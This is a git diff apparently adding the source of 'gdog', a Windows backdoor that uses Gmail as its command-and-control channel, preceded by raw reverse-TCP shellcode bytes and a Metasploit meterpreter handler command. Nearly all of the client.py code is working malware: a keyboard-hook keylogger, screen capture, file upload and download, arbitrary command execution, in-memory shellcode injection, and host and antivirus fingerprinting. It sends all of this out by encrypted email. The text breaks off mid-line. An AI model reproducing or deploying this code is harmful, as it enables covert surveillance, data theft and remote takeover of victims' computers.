+\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 +``` +run the console + +``` + ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run" + ``` diff --git a/gdog/client.py b/gdog/client.py new file mode 100644 index 0000000..6ae9691 --- /dev/null +++ b/gdog/client.py @@ -0,0 +1,1121 @@ +""" + This file is part of gdog + Copyright (C) 2016 @maldevel + https://github.com/maldevel/gdog + + gdog - A fully featured backdoor that uses Gmail as a C&C server + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + For more see the file 'LICENSE' for copying permission. +""" + +__author__ = "maldevel" +__copyright__ = "Copyright (c) 2016 @maldevel" +__credits__ = ["maldevel", "carnal0wnage", "byt3bl33d3r", "haydnjohnson"] +__license__ = "GPLv3" +__version__ = "1.2" +__maintainer__ = "maldevel" + + +##################### +import subprocess +import os +import base64 +import threading +import time +import random +import string +import imaplib +import email +import platform +import hashlib +import ctypes +import json +import wmi +import getpass +import uuid +import netifaces +import urllib2 +import urllib +import pythoncom +import random + +from win32com.client import GetObject +from enum import Enum +from base64 import b64decode +from smtplib import SMTP +from email.MIMEMultipart import MIMEMultipart +from email.MIMEBase import MIMEBase +from email.MIMEText import MIMEText +from email import Encoders +from struct import pack +from zlib import compress, crc32 +from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, WINFUNCTYPE, CFUNCTYPE, POINTER +from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG +from Crypto.Cipher import AES +from Crypto import Random +###################################################### + + +####################################### +gmail_user = 'gdog.mail.account@gmail.com' +gmail_pwd = '!y0ur_p@ssw0rd!' +server = "smtp.gmail.com" +server_port = 587 +AESKey = 'my_AES_key' +EMAIL_KNOCK_TIMEOUT = 60 # seconds - check for new commands/jobs every EMAIL_KNOCK_TIMEOUT seconds +JITTER = 100 +TAG = 'RELEASE' +VERSION = '1.0.0' +####################################### + + +class InfoSecurity: + + def __init__(self): + self.bs = 32 + self.key = hashlib.sha256(AESKey.encode()).digest() + + def Encrypt(self, plainText): + raw = self._pad(plainText) + iv = Random.new().read(AES.block_size) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return base64.b64encode(iv + cipher.encrypt(raw)) + + def Decrypt(self, cipherText): + enc = base64.b64decode(cipherText) + iv = enc[:AES.block_size] + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') + + def _pad(self, s): + return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) + + def _unpad(self, s): + return s[:-ord(s[len(s)-1:])] + +infoSec = InfoSecurity() + + +class AccountType(Enum): + DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + +class ChassisTypes(Enum): + Other = 1 + Unknown = 2 + Desktop = 3 + LowProfileDesktop = 4 + PizzaBox = 5 + MiniTower = 6 + Tower = 7 + Portable = 8 + Laptop = 9 + Notebook = 10 + Handheld = 11 + DockingStation = 12 + AllInOne = 13 + SubNotebook = 14 + SpaceSaving = 15 + LunchBox = 16 + MainSystemChassis = 17 + ExpansionChassis = 18 + SubChassis = 19 + BusExpansionChassis = 20 + PeripheralChassis = 21 + StorageChassis = 22 + RackMountChassis = 23 + SealedCasePC = 24 + +def getGeolocation(): + try: + req = urllib2.Request('http://ip-api.com/json/', data=None, headers={ + 'User-Agent':'Gdog' + }) + response = urllib2.urlopen(req) + if response.code == 200: + encoding = response.headers.getparam('charset') + return json.loads(response.read().decode(encoding)) + return False + except Exception: + return False + + +class SystemInfo: + def __init__(self): + self.Architecture = platform.machine() + self.WinVer = platform.platform() + self.CPU = platform.processor() + self.User = getpass.getuser() + self.PCName = platform.node() + self.isAdmin = ctypes.windll.shell32.IsUserAnAdmin() + if self.isAdmin == 0: + self.isAdmin = 'no' + else: + self.isAdmin = 'yes' + w = wmi.WMI() + self.GPU = [] + for i in w.Win32_VideoController(): + self.GPU.append(i.Caption.strip()) + self.Motherboard = '' + for i in w.Win32_BaseBoard(): + self.Motherboard = '{0} {1} {2}'.format(i.Manufacturer, i.Product, i.SerialNumber).strip() + break + self.ChassisType = '' + for i in w.Win32_SystemEnclosure(): + for j in i.ChassisTypes: + self.ChassisType = str(ChassisTypes(j)).split('.')[1] + break + break + self.TotalRam = 0.0 + for i in w.Win32_ComputerSystem(): + self.TotalRam = (round(float(i.TotalPhysicalMemory) / 1024 / 1024 / 1024)) + break + self.Bios = '' + for i in w.Win32_BIOS(): + self.Bios = '{0} {1} {2}'.format(i.Caption, i.Manufacturer, i.SerialNumber).strip() + break + self.PID = os.getpid() + self.MAC = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) + self.IPv4 = '' + for iface in netifaces.interfaces(): + if netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] == self.MAC: + self.IPv4 = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])[0]['addr'] + self.Antivirus = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiVirusProduct') + for i in objWMI: + self.Antivirus.append(i.displayName.strip()) + self.Firewall = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('FirewallProduct') + for i in objWMI: + self.Firewall.append(i.displayName.strip()) + self.Antispyware = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiSpywareProduct') + for i in objWMI: + self.Antispyware.append(i.displayName.strip()) + self.Geolocation = getGeolocation() + + + self.UniqueID = hashlib.sha256( + self.Architecture + + self.WinVer + + self.CPU + + ';'.join(self.GPU) + + self.isAdmin + + self.Motherboard + + self.ChassisType + + '{0}@{1}'.format(self.User, self.PCName) + + str(self.TotalRam) + + self.Bios + + self.MAC + ).hexdigest() + + +sysInfo = SystemInfo() + + +WH_KEYBOARD_LL=13 +WM_KEYDOWN=0x0100 +CTRL_CODE = 162 + + +### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ### +class BITMAPINFOHEADER(Structure): + _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG), + ('biPlanes', WORD), ('biBitCount', WORD), + ('biCompression', DWORD), ('biSizeImage', DWORD), + ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG), + ('biClrUsed', DWORD), ('biClrImportant', DWORD)] + +class BITMAPINFO(Structure): + _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)] + +class screenshot(threading.Thread): + ''' Mutliple ScreenShots implementation for Microsoft Windows. ''' + + def __init__(self, jobid): + ''' Windows initialisations. ''' + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self._set_argtypes() + self._set_restypes() + self.start() + + def _set_argtypes(self): + ''' Functions arguments. ''' + + self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT), + DOUBLE) + windll.user32.GetSystemMetrics.argtypes = [INT] + windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p, + self.MONITORENUMPROC, + LPARAM] + windll.user32.GetWindowDC.argtypes = [HWND] + windll.gdi32.CreateCompatibleDC.argtypes = [HDC] + windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT] + windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ] + windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, + DWORD] + windll.gdi32.DeleteObject.argtypes = [HGDIOBJ] + windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p, + POINTER(BITMAPINFO), UINT] + + def _set_restypes(self): + ''' Functions return type. ''' + + windll.user32.GetSystemMetrics.restypes = INT + windll.user32.EnumDisplayMonitors.restypes = BOOL + windll.user32.GetWindowDC.restypes = HDC + windll.gdi32.CreateCompatibleDC.restypes = HDC + windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP + windll.gdi32.SelectObject.restypes = HGDIOBJ + windll.gdi32.BitBlt.restypes = BOOL + windll.gdi32.GetDIBits.restypes = INT + windll.gdi32.DeleteObject.restypes = BOOL + + def enum_display_monitors(self, screen=-1): + ''' Get positions of one or more monitors. + Returns a dict with minimal requirements. + ''' + + if screen == -1: + SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77 + SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79 + left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN) + right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN) + top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN) + bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN) + yield ({ + b'left': int(left), + b'top': int(top), + b'width': int(right - left), + b'height': int(bottom - top) + }) + else: + + def _callback(monitor, dc, rect, data): + ''' Callback for MONITORENUMPROC() function, it will return + a RECT with appropriate values. + ''' + rct = rect.contents + monitors.append({ + b'left': int(rct.left), + b'top': int(rct.top), + b'width': int(rct.right - rct.left), + b'height': int(rct.bottom - rct.top) + }) + return 1 + + monitors = [] + callback = self.MONITORENUMPROC(_callback) + windll.user32.EnumDisplayMonitors(0, 0, callback, 0) + for mon in monitors: + yield mon + + def get_pixels(self, monitor): + ''' Retrieve all pixels from a monitor. Pixels have to be RGB. + [1] A bottom-up DIB is specified by setting the height to a + positive number, while a top-down DIB is specified by + setting the height to a negative number. + https://msdn.microsoft.com/en-us/library/ms787796.aspx + https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx + ''' + + width, height = monitor[b'width'], monitor[b'height'] + left, top = monitor[b'left'], monitor[b'top'] + SRCCOPY = 0xCC0020 + DIB_RGB_COLORS = BI_RGB = 0 + srcdc = memdc = bmp = None + + try: + bmi = BITMAPINFO() + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER) + bmi.bmiHeader.biWidth = width + bmi.bmiHeader.biHeight = -height # Why minus? See [1] + bmi.bmiHeader.biPlanes = 1 # Always 1 + bmi.bmiHeader.biBitCount = 24 + bmi.bmiHeader.biCompression = BI_RGB + buffer_len = height * width * 3 + self.image = create_string_buffer(buffer_len) + srcdc = windll.user32.GetWindowDC(0) + memdc = windll.gdi32.CreateCompatibleDC(srcdc) + bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height) + windll.gdi32.SelectObject(memdc, bmp) + windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top, + SRCCOPY) + bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image, + bmi, DIB_RGB_COLORS) + if bits != height: + raise Exception('MSS: GetDIBits() failed.') + finally: + # Clean up + if srcdc: + windll.gdi32.DeleteObject(srcdc) + if memdc: + windll.gdi32.DeleteObject(memdc) + if bmp: + windll.gdi32.DeleteObject(bmp) + + # Replace pixels values: BGR to RGB + self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \ + self.image[0:buffer_len:3], self.image[2:buffer_len:3] + return self.image + + def save(self, + output='screenshot-%d.png', + screen=-1, + callback=lambda *x: True): + ''' Grab a screenshot and save it to a file. + Parameters: + - output - string - the output filename. It can contain '%d' which + will be replaced by the monitor number. + - screen - int - grab one screenshot of all monitors (screen=-1) + grab one screenshot by monitor (screen=0) + grab the screenshot of the monitor N (screen=N) + - callback - function - in case where output already exists, call + the defined callback function with output + as parameter. If it returns True, then + continue; else ignores the monitor and + switches to ne next. + This is a generator which returns created files. + ''' + + # Monitors screen shots! + for i, monitor in enumerate(self.enum_display_monitors(screen)): + if screen <= 0 or (screen > 0 and i + 1 == screen): + fname = output + if '%d' in output: + fname = output.replace('%d', str(i + 1)) + callback(fname) + self.save_img(data=self.get_pixels(monitor), + width=monitor[b'width'], + height=monitor[b'height'], + output=fname) + yield fname + + def save_img(self, data, width, height, output): + ''' Dump data to the image file. + Pure python PNG implementation. + Image represented as RGB tuples, no interlacing. + http://inaps.org/journal/comment-fonctionne-le-png + ''' + + zcrc32 = crc32 + zcompr = compress + len_sl = width * 3 + scanlines = b''.join( + [b'0' + data[y * len_sl:y * len_sl + len_sl] + for y in range(height)]) + + magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10) + + # Header: size, marker, data, CRC32 + ihdr = [b'', b'IHDR', b'', b''] + ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0) + ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff) + ihdr[0] = pack(b'>I', len(ihdr[2])) + + # Data: size, marker, data, CRC32 + idat = [b'', b'IDAT', b'', b''] + idat[2] = zcompr(scanlines, 9) + idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff) + idat[0] = pack(b'>I', len(idat[2])) + + # Footer: size, marker, None, CRC32 + iend = [b'', b'IEND', b'', b''] + iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff) + iend[0] = pack(b'>I', len(iend[2])) + + with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh: + fileh.write( + magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend)) + return + err = 'MSS: error writing data to "{0}".'.format(output) + raise Exception(err) + + def run(self): + img_name = genRandomString() + '.png' + for filename in self.save(output=img_name, screen=-1): + sendEmail({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)]) + +### End of python-mss code ### + + +class MessageParser: + + def __init__(self, msg_data): + self.attachment = None + self.getPayloads(msg_data) + self.getSubjectHeader(msg_data) + self.getDateHeader(msg_data) + + def getPayloads(self, msg_data): + for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): + if payload.get_content_maintype() == 'text': + self.text = payload.get_payload() + self.dict = json.loads(infoSec.Decrypt(payload.get_payload())) + + elif payload.get_content_maintype() == 'application': + self.attachment = payload.get_payload() + + def getSubjectHeader(self, msg_data): + self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] + + def getDateHeader(self, msg_data): + self.date = email.message_from_string(msg_data[1][0][1])['Date'] + + +class keylogger(threading.Thread): + #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/ + exit = False + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.hooked = None + self.keys = '' + self.start() + + def installHookProc(self, pointer): + self.hooked = ctypes.windll.user32.SetWindowsHookExA( + WH_KEYBOARD_LL, + pointer, + windll.kernel32.GetModuleHandleW(None), + 0 + ) + + if not self.hooked: + return False + return True + + def uninstallHookProc(self): + if self.hooked is None: + return + ctypes.windll.user32.UnhookWindowsHookEx(self.hooked) + self.hooked = None + + def getFPTR(self, fn): + CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) + return CMPFUNC(fn) + + def hookProc(self, nCode, wParam, lParam): + if wParam is not WM_KEYDOWN: + return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + + self.keys += chr(lParam[0]) + + if len(self.keys) > 100: + sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid) + self.keys = '' + + if (CTRL_CODE == int(lParam[0])) or (self.exit == True): + sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid) + self.uninstallHookProc() + + return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + + def startKeyLog(self): + msg = MSG() + ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0) + + def run(self): + pointer = self.getFPTR(self.hookProc) + + if self.installHookProc(pointer): + sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid) + self.startKeyLog() + + +class download(threading.Thread): + + def __init__(self, jobid, filepath): + threading.Thread.__init__(self) + self.jobid = jobid + self.filepath = filepath + + self.daemon = True + self.start() + + def run(self): + try: + if os.path.exists(self.filepath) is True: + sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath]) + else: + sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class downloadfromurl(threading.Thread): + + def __init__(self, jobid, url): + threading.Thread.__init__(self) + self.jobid = jobid + self.url = url + self.daemon = True + self.start() + + def run(self): + try: + urllib.urlretrieve(self.url, os.path.join(os.getenv('TEMP') + '\\' + self.url.split('/')[-1])) + sendEmail({'cmd': 'downloadfromurl', 'res': 'Success'}, self.jobid, [self.url]) + except Exception as e: + sendEmail({'cmd': 'downloadfromurl', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class tasks(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectRunningProcesses(self): + pythoncom.CoInitialize() + procs = [] + w = wmi.WMI () + for process in w.Win32_Process (): + procs.append('{0};{1}'.format(process.ProcessId, process.Name)) + return procs + + def run(self): + try: + sendEmail({'cmd': 'tasks', 'res': self._detectRunningProcesses()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'tasks', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class services(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectServices(self): + pythoncom.CoInitialize() + srvs = [] + w = wmi.WMI () + for service in w.Win32_Service (): + srvs.append('{0};{1}'.format(service.Name, str(service.StartMode))) + return srvs + + def run(self): + try: + sendEmail({'cmd': 'services', 'res': self._detectServices()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'services', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class users(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectUsers(self): + pythoncom.CoInitialize() + usr = [] + w = wmi.WMI () + for user in w.Win32_UserAccount (): + usr.append('{0};{1};{2}'.format(user.Name, str(AccountType(user.AccountType)).split('.')[1], 'Disabled' if user.Disabled else 'Enabled')) + return usr + + def run(self): + try: + sendEmail({'cmd': 'users', 'res': self._detectUsers()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'users', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class devices(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectDevices(self): + pythoncom.CoInitialize() + devs = [] + w = wmi.WMI () + for dev in w.Win32_PnPEntity (): + devs.append('{0};{1}'.format(dev.Name, dev.Manufacturer)) + return devs + + def run(self): + try: + sendEmail({'cmd': 'devices', 'res': self._detectDevices()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'devices', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class upload(threading.Thread): + + def __init__(self, jobid, dest, attachment): + threading.Thread.__init__(self) + self.jobid = jobid + self.dest = dest + self.attachment = attachment + self.daemon = True + self.start() + + def run(self): + try: + with open(self.dest, 'wb') as fileh: + fileh.write(b64decode(self.attachment)) + sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class lockScreen(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + ctypes.windll.user32.LockWorkStation() + sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class shutdown(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'shutdown', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/s", "/t", "0"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class restart(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'restart', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/r", "/t", "0"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + +class jitter(threading.Thread ): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + global JITTER + JITTER = self.command + sendEmail({'cmd': 'jitter', 'res': 'Success with Changing Jitter too %s Seconds' %str(JITTER)}, jobid=self.jobid) + + except Exception as e: + #if verbose == True: print print_exc() + pass + +class email_check(threading.Thread ): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + global EMAIL_KNOCK_TIMEOUT + EMAIL_KNOCK_TIMEOUT = self.command + sendEmail({'cmd': 'email_check', 'res': 'Success with changing Email Check in time too %s Seconds' %str(EMAIL_KNOCK_TIMEOUT)}, jobid=self.jobid) + time.sleep(3) + + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class logoff(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'logoff', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/l"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + +class execShellcode(threading.Thread): + + def __init__(self, shellc, jobid): + threading.Thread.__init__(self) + self.shellc = shellc + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + shellcode = self.shellc.decode("string_escape") + shellcode = bytearray(shellcode) + + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), + ctypes.c_int(len(shellcode)), + ctypes.c_int(0x3000), + ctypes.c_int(0x40)) + + buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) + + ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) + + ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), + ctypes.c_int(0), + ctypes.c_int(ptr), + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.pointer(ctypes.c_int(0))) + + ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) + + except Exception as e: + #if verbose == True: print_exc() + pass + + +class visitwebsite(threading.Thread): + + def __init__(self, url, jobid): + threading.Thread.__init__(self) + self.url = url + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + urllib2.urlopen(self.url).read() + sendEmail({'cmd': 'visitwebsite', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +class execCmd(threading.Thread): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + stdout_value = proc.stdout.read() + stdout_value += proc.stderr.read() + + sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +class message(threading.Thread): + + def __init__(self, TextAndTitle, jobid): + threading.Thread.__init__(self) + self.TextAndTitle = TextAndTitle + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + ctypes.windll.user32.MessageBoxW(0, self.TextAndTitle[0], self.TextAndTitle[1], 0) + sendEmail({'cmd': 'message', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +def genRandomString(slen=10): + return ''.join(random.sample(string.ascii_letters + string.digits, slen)) + + +def detectForgroundWindows(): + #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/ + EnumWindows = ctypes.windll.user32.EnumWindows + EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) + GetWindowText = ctypes.windll.user32.GetWindowTextW + GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW + IsWindowVisible = ctypes.windll.user32.IsWindowVisible + + titles = [] + def foreach_window(hwnd, lParam): + if IsWindowVisible(hwnd): + length = GetWindowTextLength(hwnd) + buff = ctypes.create_unicode_buffer(length + 1) + GetWindowText(hwnd, buff, length + 1) + titles.append(buff.value) + return True + + EnumWindows(EnumWindowsProc(foreach_window), 0) + + return titles + + +class sendEmail(threading.Thread): + + def __init__(self, text, jobid='', attachment=[], checkin=False): + threading.Thread.__init__(self) + self.text = text + self.jobid = jobid + self.attachment = attachment + self.checkin = checkin + self.daemon = True + self.start() + + def run(self): + sub_header = sysInfo.UniqueID + if self.jobid: + sub_header = 'dmp:{}:{}'.format(sysInfo.UniqueID, self.jobid) + elif self.checkin: + sub_header = 'hereiam:{}'.format(sysInfo.UniqueID) + + msg = MIMEMultipart() + msg['From'] = sub_header + msg['To'] = gmail_user + msg['Subject'] = sub_header + + message_content = infoSec.Encrypt(json.dumps({ + 'fgwindow': detectForgroundWindows(), + 'user': '{0}@{1}'.format(sysInfo.User, sysInfo.PCName), + 'arch': sysInfo.Architecture, + 'os': sysInfo.WinVer, + 'cpu': sysInfo.CPU, + 'gpu': sysInfo.GPU, + 'motherboard': sysInfo.Motherboard, + 'isAdmin': sysInfo.isAdmin, + 'chassistype': sysInfo.ChassisType, + 'totalram': sysInfo.TotalRam, + 'bios': sysInfo.Bios, + 'pid': sysInfo.PID, + 'mac': sysInfo.MAC, + 'ipv4': sysInfo.IPv4, + 'av': sysInfo.Antivirus, + 'firewall': sysInfo.Firewall, + 'antispyware': sysInfo.Antispyware, + 'geolocation': sysInfo.Geolocation, + 'tag': TAG, + 'version': VERSION, + 'msg': self.text + })) + + msg.attach(MIMEText(str(message_content))) + + for attach in self.attachment: + if os.path.exists(attach) == True: + part = MIMEBase('application', 'octet-stream') + part.set_payload(open(attach, 'rb').read()) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) + msg.attach(part) + + while True: + try: + mailServer = SMTP() + mailServer.connect(server, server_port) + mailServer.starttls() + mailServer.login(gmail_user,gmail_pwd) + mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) + mailServer.quit() + break + except Exception as e: + #if verbose == True: print_exc() + time.sleep(10) + + +def checkJobs(): + #Here we check the inbox for queued jobs, parse them and start a thread + #EMAIL_KNOCK_TIMEOUT = 60 # seconds - check for new commands/jobs every EMAIL_KNOCK_TIMEOUT seconds + #JITTER = 100 + while True: + + try: + c = imaplib.IMAP4_SSL(server) + c.login(gmail_user, gmail_pwd) + c.select("INBOX") + + typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 